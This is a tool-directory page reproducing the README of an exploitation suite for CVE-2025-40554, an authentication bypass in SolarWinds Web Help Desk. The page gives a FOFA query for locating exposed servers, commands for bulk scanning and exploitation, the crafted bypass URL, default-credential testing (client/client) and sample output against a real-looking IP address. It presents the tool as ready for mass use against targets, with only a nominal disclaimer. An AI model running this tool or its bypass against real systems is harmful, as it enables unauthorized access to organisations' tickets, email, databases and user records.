Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/skynoxk/cve-2025-40554
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingAuthentication
GitHubskynoxk/cve-2025-40554

CVE-2025-40554

CVE-2025-40554 Exploitation

View Repository
27 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-40554 Exploitation Suite

A comprehensive security testing tool for detecting and exploiting the authentication bypass vulnerability (CVE-2025-40554 / CVE-2025-40536) in SolarWinds Web Help Desk.

⚠️ Disclaimer

FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING PURPOSES ONLY

This tool is provided for security research, penetration testing, and vulnerability assessment on systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The authors are not responsible for misuse or damage caused by this tool.

🔍 Vulnerability Overview

CVE-2025-40554 is a critical authentication bypass vulnerability in SolarWinds Web Help Desk that allows unauthenticated attackers to:

  • Bypass authentication mechanisms
  • Access privileged administrative functions (Authentication)
  • Enumerate system configuration

Affected Versions

  • SolarWinds Web Help Desk (specific version information should be verified)
  • Check SolarWinds security advisories for patched versions

🚀 Features

Check by your self :))

Dependencies:

  • Python 3.6+
  • requests library
  • urllib3 library

🛠️ Installation

root@kitploit:~
# Clone or download the script
wget https://raw.githubusercontent.com/username/repo/main/CVE-2025-40554.py

# Make executable
chmod +x CVE-2025-40554.py

📖 FOFA

root@kitploit:~
("Web Help Desk") && (icon_hash="1895809524" || icon_hash="804130677")

📖 Usage

Basic Scan (Single Target)

root@kitploit:~
# Simple vulnerability check
python3 CVE-2025-40554.py -t https://target:8443

# With explicit protocol
python3 CVE-2025-40554.py -t https://203.106.221.203:8443

Full Exploitation Mode

root@kitploit:~
# Complete exploitation with session enumeration
python3 CVE-2025-40554.py -t https://target:8443 --exploit

# Skip default credential testing
python3 CVE-2025-40554.py -t https://target:8443 --exploit --no-login

Bulk Scanning

root@kitploit:~
# Scan multiple targets from file
python3 CVE-2025-40554.py -l targets.txt

# Bulk scan with exploitation
python3 CVE-2025-40554.py -l targets.txt --exploit

# Quiet mode (minimal output)
python3 CVE-2025-40554.py -l targets.txt -q

# Custom output file
python3 CVE-2025-40554.py -l targets.txt -o results.txt

Target File Format

targets.txt:

root@kitploit:~
https://target1:8443
https://target2.example.com:8443
192.168.1.100:8443
target3.local:8443
# Comments are supported

🎯 Command Line Options

OptionDescription
-t, --target URLSingle target URL to test
-l, --list FILEFile containing list of targets (one per line)
--exploitEnable full exploitation mode with enumeration
--no-loginSkip default credential testing
-o, --output FILEOutput file for vulnerable targets (default: vulnerable_targets.txt)
-q, --quietMinimal output mode (useful for bulk scans)

📊 Output Examples

Successful Exploitation

root@kitploit:~
╔═══════════════════════════════════════════════════════════════════╗
║     CVE-2025-40554 - SolarWinds Web Help Desk                    ║
║     Authentication Bypass Exploitation Tool                       ║
║     Research & Educational Purposes Only                          ║
╚═══════════════════════════════════════════════════════════════════╝

======================================================================
Target: https://203.106.221.203:8443
======================================================================
[*] Step 1: Establishing session...
[+] WOSID extracted: AbCdEfGhIjKlMnOpQrStU
[+] XSRF token: abc123-def456-ghi789

[*] Step 2: Testing authentication bypass...
[+] Found bypass indicators: externalAuthContainer, JSONRpcClient, SAML 2.0
[+] VULNERABLE - Auth bypass confirmed!

[*] Step 3: Testing default credentials (client/client)...
[+] SUCCESS - Default credentials work!

======================================================================
EXPLOITATION MODE - CVE-2025-40554 Auth Bypass
======================================================================

[*] Bypass URL: https://203.106.221.203:8443/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/AbCdEfGhIjKlMnOpQrStU/1.0?badparam=/ajax/&wopage=LoginPref
[*] Triggering authentication bypass...
[+] Auth bypass successful!

[*] Session Cookies:
  wosid = AbCdEfGhIjKlMnOpQrStU
  XSRF-TOKEN = abc123-def456-ghi789

======================================================================
SUMMARY
======================================================================
[+] Target is VULNERABLE to CVE-2025-40554
[+] Default credentials: WORK
======================================================================

Bulk Scan Results

root@kitploit:~
[*] Loaded 5 unique targets from targets.txt
[*] Mode: Bypass + default credential test
[*] Full exploitation enabled

[1/5] Testing https://target1:8443
[+] VULNERABLE - Auth bypass confirmed!
[+] SUCCESS - Default credentials work!

[2/5] Testing https://target2:8443
[!] NOT VULNERABLE - Auth bypass failed

...

======================================================================
SCAN SUMMARY
======================================================================
Total scanned:     5/5
Vulnerable:        2
With def. creds:   1
======================================================================

[+] Results saved to: vulnerable_targets.txt

🔧 Technical Details

Exploitation Flow

  1. Session Establishment

    • Connects to WHD instance
    • Extracts WOSID (WebObjects Session ID) from multiple sources
    • Captures XSRF token if present
  2. Authentication Bypass

    • Crafts malicious URL with WOSID injection
    • Exploits path traversal in WebObjects routing
    • Bypasses authentication checks
  3. Credential Testing (optional)

    • Parses login form with CSRF protection
    • Tests default credentials (client/client)
    • Validates successful authentication
  4. Full Exploitation (--exploit mode)

    • Exports session cookies
    • access email, tickets, database, users, (removed)

Vulnerability Indicators

The tool detects successful bypass by checking for:

  • externalAuthContainer - External auth configuration
  • JSONRpcClient - API client exposure
  • SAML 2.0 - SSO configuration
  • LoginPref - Login preference settings
  • authMode - Authentication mode settings

🤝 Contributing

Contributions are welcome.....

📚 References

  • CVE-2025-40554 Details
  • CVE-2025-40536 Details
  • SolarWinds Security Advisories
  • WebObjects Framework Documentation

📄 License

This tool is provided "as is" without warranty of any kind. Use at your own risk.

👤 Author

Skynoxk


Remember: Always hack ethically and legally. Unauthorized access is a crime.

Download Tool